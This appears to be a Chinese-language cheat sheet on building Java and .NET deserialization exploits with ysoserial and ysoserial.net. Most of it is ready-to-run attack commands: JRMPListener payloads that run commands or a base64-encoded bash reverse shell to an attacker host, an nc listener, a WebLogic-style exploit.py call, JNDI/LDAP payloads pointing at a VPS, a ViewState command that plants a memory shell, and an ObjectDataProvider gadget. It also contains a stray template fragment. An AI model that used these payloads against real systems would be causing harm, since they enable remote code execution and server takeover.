Ysoserial
- 招募六边形战士队员
- ysoserial-0.0.6-SNAPSHOT-all.jar
- ysoserial的原生CB1的链
- CC6链
- 在ysoserial编写自己的payload
- ysoserial.net
- 前言
- 参考文章
招募六边形战士队员
一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
ysoserial-0.0.6-SNAPSHOT-all.jar
概念验证工具,用于生成利用不安全的Java对象反序列化的有效负载
URLDNS是ysoserial中最简单的一条利用链
ysoserial集合了各种java反序列化payload
git clone https://github.com/frohoff/ysoserial.git
下载地址:https://github.com/angelwhu/ysoserial
公网vps上执行
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 【port】 CommonsCollections1 '【commands】'
port:公网vps上监听的端口号
commands:需要执行的命令
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'
重启一个shell窗口:
python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】 【JRMPListener port】 JRMPClient
python exploit.py xx.xx.xx.xx 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar xx.xx.xx.xx 1099 JRMPClient
Linux:
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils1 "bash -c {echo,字段}|{base64,-d}|{bash,-i}"
字段=bash -i >& /dev/tcp/x.x.x.x/8888 0>&1 base64后的值
nc -lvp 端口
Windows:
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址
java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"
d2hvYW1p为命令的base64,这里是执行命令whoami
在ysoserial下生成URLDNS命令为:
java -jar .\ysoserial.jar URLDNS "http://xxx.dnslog.cn"
ysoserial的原生CB1的链
CC6链
java -jar ysoserial.jar CommonsCollections6 'bash -c {echo,YmFzaxxIDA+JjE=}|{base64,-d}|{bash,-i}' > poc.serx
在ysoserial编写自己的payload
git clone https://github.com/fanyingjie2/ysoserial.git
将自己编写的payload放在下载的包中:路径ysoserial/src/main/java/ysoserial/payloads/
修改Dockerfile
FROM maven:3.5-jdk-8
WORKDIR /app
# download artifacts
COPY pom.xml .
RUN mvn dependency:resolve
RUN mvn verify
RUN mvn compiler:help
# build
COPY src ./src
RUN mvn clean package -DskipTests
RUN mv target/ysoserial-*all*.jar target/ysoserial.jar
docker build -t ysoserial .
docker run -ti ID号 /bin/bash
在docke中执行 apt-get update
在docker中执行apt-get install lrzsz
sz target/ysoserial.jar
ysoserial.net
https://github.com/pwntester/ysoserial.net
Ysoserial.Net只提供序列化之后的Payload主体,具体执行的命令从外部输入,实现代码清单如下
String payload = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':[" + cmdPart + @"]
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
前言
利用方式
Ysoserial.Net 来⽣成反序列化 payload,再通过调⽤远程⽅法来触发反序列化,实现任意代码执⾏,从⽽导致服务器被接管。
payload 举例
{{unquote("PK\x03\x04\\x00")}}
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "memshell.cs;./dlls/System.dll;./dlls/System.Web.dll" --generator="C2EE9ABB" --validationalg="SHA1" --validationkey="C50xxxxxxxxxxxxxxABE"
ysoserial.exe -f BinaryFormatter -g ResourceSet -o base64 -c "ping jcudlhvdwm.dgrh3.cn"
参考文章
https://mp.weixin.qq.com/s/wldhQ6vhYSg-RBjy7v0aMQ
.NET实现Json序列化生成Ysoserial Payload